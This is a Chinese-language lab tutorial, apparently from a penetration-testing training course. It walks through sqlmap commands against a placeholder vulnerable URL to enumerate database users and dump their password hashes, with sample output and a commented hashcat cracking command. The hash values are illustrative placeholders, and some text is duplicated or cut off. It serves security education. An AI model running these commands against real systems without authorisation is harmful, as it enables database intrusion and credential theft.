引言
在本实验中,你将探索 sqlmap 的功能。sqlmap 是一款开源的渗透测试工具,可以自动化检测和利用 SQL 注入漏洞,并接管数据库服务器。具体来说,你将学习如何枚举数据库用户以及尝试从目标数据库中转储密码哈希。这是许多渗透测试中的关键步骤,因为获取用户凭据可能导致进一步的系统被攻破。你将使用一个模拟的易受攻击的 Web 应用程序,在一个受控的环境中练习这些技术。
在本实验中,你将探索 sqlmap 的功能。sqlmap 是一款开源的渗透测试工具,可以自动化检测和利用 SQL 注入漏洞,并接管数据库服务器。具体来说,你将学习如何枚举数据库用户以及尝试从目标数据库中转储密码哈希。这是许多渗透测试中的关键步骤,因为获取用户凭据可能导致进一步的系统被攻破。你将使用一个模拟的易受攻击的 Web 应用程序,在一个受控的环境中练习这些技术。
在此步骤中,你将首先识别潜在的 SQL 注入漏洞,并确认 sqlmap 可以成功与目标数据库进行交互。此初步检查对于确保你已获得“立足点”以及当前用户拥有执行进一步枚举的足够权限至关重要。
首先,打开你的终端。默认工作目录是 /home/labex/project。
我们将使用一个占位符 URL 来模拟一个易受攻击的 Web 应用程序。在实际场景中,你将通过侦察和漏洞扫描来识别此 URL。在本实验中,我们假设目标是 http://example.com/vulnerable.php?id=1。
执行以下 sqlmap 命令来测试 SQL 注入并收集数据库的基本信息。-u 标志指定目标 URL,--current-user 则尝试检索当前数据库用户。
sqlmap -u "http://example.com/vulnerable.php?id=1" --current-user
你将看到类似以下的输出,表明 sqlmap 正在测试各种注入点并确认当前用户:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (各种测试和信息) ...
[INFO] the back-end DBMS is MySQL
current user: 'root@localhost'
输出 current user: 'root@localhost' 表明 sqlmap 已成功识别出当前的数据库用户。这是一个好迹象,因为 root 用户通常拥有高权限,这对于转储用户和哈希是必需的。
--users 标志列出所有数据库用户在此步骤中,你将使用 sqlmap 中的 --users 标志来枚举所有数据库用户。在确认 SQL 注入漏洞和足够权限后,这是常见的下一步操作。了解数据库用户可以为进一步的攻击或理解数据库结构提供有价值的信息。
继续在你的终端中操作。
执行以下 sqlmap 命令。--users 标志指示 sqlmap 列出数据库中的所有用户。
sqlmap -u "http://example.com/vulnerable.php?id=1" --users
sqlmap 将执行其测试,然后尝试检索数据库用户的列表。你应该会看到类似以下的输出:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (各种测试和信息) ...
[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'
[INFO] retrieved 3 database user(s)
此输出显示 sqlmap 成功枚举了三个数据库用户:root@localhost、admin@localhost 和 webuser@localhost。这些信息对于下一步尝试转储他们的密码哈希至关重要。
--passwords 标志尝试转储密码哈希在此步骤中,你将通过尝试转储与已枚举数据库用户关联的密码哈希来升级你的攻击。这通常是 SQL 注入攻击的最终目标,因为这些哈希随后可以离线破解以获取明文密码。
继续在你的终端中操作。
执行以下 sqlmap 命令。--passwords 标志指示 sqlmap 检索所有数据库用户的密码哈希。
sqlmap -u "http://example.com/vulnerable.php?id=1" --passwords
sqlmap 现在将尝试提取密码哈希。此过程可能需要一些时间,具体取决于数据库的大小和复杂性。你应该会看到类似以下的输出,显示检索到的用户及其对应的密码哈希:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (各种测试和信息) ...
[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
[INFO] retrieved 3 database user(s) password hash(es)
输出显示了用户名及其关联的密码哈希。这些哈希通常以特定于数据库系统的格式存储(例如,MySQL 的 * 前缀哈希,或其他各种哈希算法)。这些哈希现在已准备好进行离线破解。
在此步骤中,你将组合之前的命令,在一次 sqlmap 执行中完成用户及其密码哈希的完整枚举。这是收集所有所需信息的更有效方式。你还将分析输出以了解检索数据的结构。
继续在你的终端中操作。
执行以下 sqlmap 命令,组合 --users 和 --passwords 标志:
sqlmap -u "http://example.com/vulnerable.php?id=1" --users --passwords
sqlmap 将运行其过程,首先枚举用户,然后尝试检索他们的密码哈希。输出将整合信息,类似于你在先前步骤中看到的内容,但会一起呈现。
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | .'| . |
|___|_|_|_|_|_|__,| _|
|_| http://sqlmap.org
[INFO] starting @ 12:34:56 /2023-10-27/
... (各种测试和信息) ...
[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'
[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
[INFO] retrieved 3 database user(s) password hash(es)
分析结果:
*) 开头。这个组合命令可以一次性高效地收集这两种信息。
在此最终步骤中,你将了解成功转储密码哈希的意义,并讨论接下来的逻辑步骤:离线密码破解。虽然 sqlmap 帮助你检索哈希,但它本身不破解哈希。这通常是使用专用工具完成的。
你已成功检索到类似以下的密码哈希:
*A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4 (针对 root@localhost)*B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3 (针对 admin@localhost)*C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4 (针对 webuser@localhost)这些哈希不是实际的密码,而是它们的加密表示。要获取明文密码,你通常会使用 Hashcat 或 John the Ripper 等工具。
离线密码破解流程:
sqlmap 通常会提供提示(例如,“MySQL password hash”)。Hashcat 等工具针对各种哈希类型有不同的模式。~/project 目录中创建一个名为 hashes.txt 的文件:*A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
*B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
*C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
Hashcat 处理 MySQL 哈希(模式 300):## This command is for illustrative purposes and will not be executed in this lab.
## hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt --force
(注意:rockyou.txt 是一个常用的字典文件,在 Kali Linux 或类似发行版的 /usr/share/wordlists/ 目录下很常见。它可能需要解压缩。)成功破解将揭示明文密码,然后可以使用这些密码获得对数据库或凭据可能被重复使用的其他系统的进一步访问。这突显了强壮、唯一的密码以及适当的哈希算法对安全的重要性。
在此实验中,你成功学会了如何使用 sqlmap 从模拟的易受攻击的 Web 应用程序中枚举数据库用户并转储其密码哈希。你首先获得了立足点并确认了足够的权限,然后使用 --users 标志列出了所有数据库用户,最后尝试使用 --passwords 标志转储密码哈希。你还学会了如何组合这些操作以提高效率,并分析了输出。
了解如何提取这些敏感信息是渗透测试中的一项关键技能。检索到的密码哈希是下一阶段的关键:离线密码破解,它可以揭示明文凭据,并可能导致更深层次的系统泄露。此实验提供了使用强大的道德黑客工具的实践经验。